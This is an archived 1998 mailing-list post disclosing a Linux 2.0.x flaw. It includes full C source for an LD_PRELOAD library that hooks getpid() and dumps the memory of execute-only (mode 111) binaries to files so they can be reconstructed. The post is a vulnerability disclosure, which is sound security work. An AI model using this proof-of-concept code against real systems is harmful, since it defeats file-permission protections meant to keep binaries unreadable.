Dump a mode --x--x--x binary on Linux 2.0.x

From: David Luyer (luyerat_private)
Date: Mon Sep 14 1998 - 21:36:22 PDT

  • Next message: Alan Cox: "Re: Dump a mode --x--x--x binary on Linux 2.0.x"

    [Cc: to linux-kernelat_private]
    
    The following file can be LD_PRELOAD'ed against a mode 111 (--x--x--x)
    binary on Linux 2.0.x.  It will dump the binary to a series of
    process-dump-... files in the current directory.  The executable itself
    can be recovered by catting the first few files together and truncating
    at the executable size.  I have tested this by reconstructing a copy of
    /bin/cat which I had protected mode 111 under Linux 2.0.x.
    
    Tested up to 2.0.35 and ld.so 2.0.7.
    
    I noticed this problem after Andreas Kies pointed out on linux-kernel
    that you can strace a mode 111 (--x--x--x) binary on Linux 2.0.x.  His
    patch for that problem can be found in the linux-kernel archives, I'm not
    aware of a patch for this problem yet.
    
    David.
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    static char * filename = "process-dump-%04x-%08lx:%08lx";
    static int ___mypid = 0;
    
    void ___dump_memory() {
    FILE *f, *maps;
    char str[80], c, *fname;
    unsigned long fr, to;
    
      maps = fopen("/proc/self/maps", "r");
      while (fgets(str, 80, maps) != NULL) {
        if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) {
          fprintf(stderr, "bad /proc/maps line: %s\n", str);
          continue;
        }
        if(c != 'r') {
          fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to);
          continue;
        }
        if((to - fr) % 4096) {
          fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to);
        }
        fname = malloc(strlen(filename) + 9);
        sprintf(fname, filename, ___mypid, fr, to);
        unlink(fname);
        f = fopen(fname, "w");
        fwrite((void *)fr, (to - fr)/4096, 4096, f);
        fclose(f);
      }
      fclose(maps);
    }
    
    int getpid() {
     /* override getpid() since this is called in most process startup */
     if(!___mypid) {
        ___mypid = __getpid();
        ___dump_memory();
     }
     return ___mypid;
    }
    
    int fork() {
      /* make sure getpid() returns correct value after fork() */
      int i;
    
      if((i = __fork()) && i != -1)
        ___mypid = i;
      return i;
    }
    
    int clone() {
      /* I couldn't be bothered... */
      fputs("sorry this preload does not support clone()\n", stderr);
      return -1;
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:16:18 PDT